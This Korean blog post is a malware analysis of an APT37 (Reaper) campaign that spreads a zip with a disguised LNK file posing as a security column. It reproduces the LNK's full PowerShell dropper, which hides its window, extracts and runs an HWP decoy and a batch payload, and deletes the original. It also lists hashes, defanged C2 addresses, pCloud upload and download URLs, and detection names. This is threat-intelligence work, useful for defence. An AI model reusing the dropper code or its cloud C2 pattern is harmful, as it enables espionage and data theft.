북한 해킹 단체 APT37 Reaper(리퍼)에서 만든 악성코드-(안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.zip(2024.02.22)

오늘은 북한 해킹 단체 APT37 Reaper(리퍼)에서 만든 악성코드인 (안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.zip(2024.02.22) 에 대해 알아보겠습니다.
Reaper 또는 Group123 이라고 부르고 있고 Reaper(리퍼) 라고 부르는 APT 공격 단체이며 2012년부터 활동을 시작했고 정보 수집, 정찰 및 사이버 스파이 활동을 목적으로 하며, 정부, 군사, 대기업, 인권 단체를 대상으로 하고 있으며 즉 한국의 외교 및 국내 문제에 초점이 맞추어져 있으며 일본, 베트남, 중동 및 기타 지역의 기업을 대상으로 해서 회사 기밀 등을 탈취하고 있습니다.(화학,전자,제조,항공 우주, 자동차,의료)
APT37,Inky Squid,RedEyes,ScarCruft,Ricochet Chollima 등으로 이름으로 활동을 하고 있습니다. 록랫(RokRAT)은 마이크로소프트 오피스 에서 매크로를 기본 값을 사용 안 함 그리고 사용자 인식 개선들의 이유로 매크로를 통한 약발이 안 먹히는지 최근 lnk 파일 형식으로 유포하고 있으며
자격 증명 도용, 데이터 유출, 스크린 샷 캡처, 시스템 정보 수집, 명령 및 셸 코드 실행, 파일 및 디렉터리 관리에 사용됩니다. Reaper는 종종 C2용 클라우드 스토리지 서비스를 사용하는 것이 특징입니다.
ROKRAT 감염 체인을 분석하는 동안 지하 포럼에서 판매되는 상업용 RAT인 Amadey를 배포하는 유사한 체인을 사용하는 것이 특징입니다. 그리고 기본적으로 예를 들어서 (안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.zip(이라는 이름으로 유포 여기에는 lnk 미끼 파일이 있고 해당 악성코드를 실행하면 동작을 하게 됩니다.
악성코드는 다음과 같이 동작을 합니다.
zip->lnk->bat->shellcode
일단 lnk 파일에 포함 이 된 악성코드 내용은 다음과 같습니다.
악성코드 해쉬값은 다음과 같습니다.
파일명: (안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.lnk.lnk
사이즈: 221MB
MD5: 5f6682ad9da4590cba106e2f1a8cbe26
SHA-1: 7043c7c101532df47c832ce5270745dd3d1e8c08
SHA-256: dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6
해당 코드에 포함된 PowerShell 코드는 다음과 같습니다.

악성코드 에 포함이 된 파워셀 코드

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments: /k for /f "
 tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*
 rshell(.)exe /s /b /od') do call %a "$t1 = 'user32(.)dll';$t = 
 'using System; using System.Runtime.InteropServices; 
 public class User32 {[DllImport(' + [System.Text.Encoding]:
 :UTF8.GetString(34) (+) $t1 (+) [System.Te(x)t.Encoding]:
 :UTF8.GetString(34) (+) ', SetLast(E)rror = true)]p(u0blic static extern IntPtr 
 F(i)ndWindow(string lpClassName, string lp(W)indowName);[DllImport(' (+) 
 [System.Text(.)Encoding]::UTF8(.)GetString(34) + $t1 + [System.Text.Encod(i)ng]
 ::UTF8.G(e)tString(34) + ')] [return: Marshal(A)s(UnmanagedType(.)Bool)]
 public static exter(n) bool ShowWind(o)w(IntPtr hWnd, i(n)t nCm(d)Show); }'
 ; Add-Type (-)TypeD(e)finition $t;$proName = 'powershell(.)exe'; 
 $cmdMainWindowHandle = [User32]::Fin(d)Window([NullString]::V(a)lue, $proName)
 ;[(U)ser32]::ShowWindow($cmdMainWindo(w)Handle, 0);$dirPath (=) 
 Get-Loc(a)tion; if($dirPath -Match 'Sy(s)tem32' -or $dir(P)ath -Match 'Program F(i)les')
 {$dirPath (=) '%temp%'}; $lnkPath = (G)et-ChildItem -(P)ath $dirPath (-)Recurse *(.)lnk 
 | where-objec(t) {$_.len(g)th -eq 0x0DD6DA21} | Select(-)Object -ExpandProperty 
 FullName;$lnkFile=New-Object System(.)IO.FileStream($lnkPath, [System.IO.Fi(l)eMode]
 ::Open, [System.IO(.)FileAccess]::Read);$lnkFi(l)e.Seek(0x0(0)00162E, [System.IO.SeekOrigin]
 ::Begin);$pdfFile=New-Ob(j)ect byte[] 0x(0)042C00;$lnkFile.Read($pdfFile, 0, 0x00042C00)
 ;$pdfPath = $lnkPath.replace('.lnk','.hwp');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath
 ;$(l)nkFile.Seek(0x0004422E,[System.IO.SeekOrigin]:(:)Begin);$exeFile=New-Object byte[]
 0x00(0)D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exe(P)ath=$env:public+'\'
 (+)'public(.0dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0(x)0011D630,
 [System.IO.SeekOrigin]::Begin);$strin(g)Byte = New-Obje(c)t byte[] 0x00000(5)AA
 ;$lnkFile.Re(a)d($stringByte, 0, 0x000005AA);$batStrPath (=)$env:temp(+)'\'
 +'temp.dat';$string = [System.Text.Encoding]::UTF8.GetS(t)ring($stringByte);$string
 | Out-(F)ile -FilePath $batStrPath (-)Encoding asc(i)i;$lnkFile.Seek(0x0(0)11DBDA,
 [System.IO(.)SeekOrigin]::Begin);$b(a)tByte = New-O(b)ject byte[] 0x00000135;$lnkFile.
 Read($batByte, 0, 0x00000135);$exe(c)utePath (=) $env:temp+'\'+'working.bat';Write-Host
 $executeP(a)th;Write-Host $batStrPath;$bastSt(r)ing = [Syste(m).Text.Encoding]:
 :UTF8.Ge(t)String($batByte);$bastString | Out-File -FilePath $executePath 
 -Encoding ascii;& $executePath;$lnkFile(.)Close();remove-item -path $lnkPat(h)
 -force;"&& exit
 iconlocation: C:\Program Files (x86)\Hnc\Office 2018\HOffice100\Bin\Hwp(.)exe

악성코드 설명

PowerShell 스크립트로 이루어져 있으며 코드 동작은 다음과 같습니다.
1.윈도우 핸들 조작:
user32.dll을 사용하여 PowerShell이 실행 중인 창을 찾아 숨김 처리하는 부분
사용자에게는 눈에 보이지 않는 상태로 PowerShell이 실행되도록 만듬
2. 파일 조작:
PowerShell이 실행 중인 디렉터리를 확인하고 만약 디렉터리 경로에 System32 또는 Program Files 문자열이 포함되어 있다면 %temp% 로 변경
변경된 디렉토리에서 특정 길이(0x0DD6DA21)의 .lnk' (바로 가기) 파일을 찾음
3. 파일 읽기 및 쓰기:
찾은 .lnk 파일로부터 특정 오프셋에서 일정 크기의 데이터를 읽어와 새로운 파일을 생성
생성된 파일 중 하나는 .hwp 확장자를 가진 파일로 저장되고 해당 파일은 PowerShell 스크립트로 실행
다른 파일은. DAT 확장자를 가진 파일로 저장되고 해당 파일도 실행
4. 종료 및 정리:
스크립트 실행이 끝나면 원본 .lnk 파일을 삭제
5. 아이콘 설정:
마지막으로 스크립트에서는 특정 아이콘의 위치(C:\Program Files (x86)\Hnc\Office 2018\HOffice100\Bin\Hwp.exe )를 지정
그리고 악성코드 실행 시 나오는 안보칼럼으로 위장한 HWP 악성코드는 인터넷에 있는 안보칼럼의 기사를 가지고 도용을 해서 사용을 했으며 실제로 작성자인 것처럼 하려고 국가안보통일연구원 수석연구위원 이름으로 위장을 하는 것이 특징입니다.

악성코드 실행시 나오는 안보칼럼 으로 위장한 HWP 악성코드

IP Traffic

104(.)123(.)41(.)162:80 (TCP)
23(.)55(.)161(.)142:80 (TCP)
52(.)219(.)169(.)16:80 (TCP)
74(.)120(.)8(.)15:443(TCP)
hxxps://api(.)pcloud(.)com/listfolder?path=/
hxxps://api(.)pcloud(.)com/getfilelink?path=/Program/???????&forcedownload=1&skipfilename=1
hxxps://api(.)pcloud(.)com/uploadfile?path=/Comment&filename=?????&nopartial=1
trust(.)quovadisglobal(.)com
hxxp://trust(.)quovadisglobal(.)com/qvrca2g3(.)crt
hxxps://api(.)pcloud(.)com/getfilelink?path=/Program/?????????&forcedownload=1&skipfilename=1
hxxps://api(.)pcloud(.)com/uploadfile?path=/Comment&filename=????

유포되는 파일 이름
mal.lnk
(안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.lnk
바이러스토탈 에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:LNK/Runner.S1
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.819.F429202B
Avast:LNK:Agent-HN [Trj]
AVG:LNK:Agent-HN [Trj]
BitDefender:Heur.BZC.YAX.Boxter.819.F429202B
DrWeb:Trojan.MulDrop25.64390
Emsisoft:Heur.BZC.YAX.Boxter.819.F429202B (B)
ESET-NOD32:A Variant Of Generik.MTMPRBE
GData:Heur.BZC.YAX.Boxter.819.F429202B
Google:Detected
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
MAX:Malware (ai Score=85)
Microsoft:Trojan:Win32/Casdet!rfn
Rising:Trojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Troj/LnkDrop-M
Symantec:Scr.Mallnk!gen13
Tencent:Win32.Trojan.Powecod.Gmnw
Trellix (FireEye):Heur.BZC.YAX.Boxter.819.F429202B
Varist:LNK/ABRisk.AJIJ-7
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.819.F429202B
ViRobot:LNK.S.Agent.232184353
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Powecod.c
여기서 기본적인 보안 수칙을 지키는 것이 안전하게 컴퓨터를 사용하는 방법일 것입니다.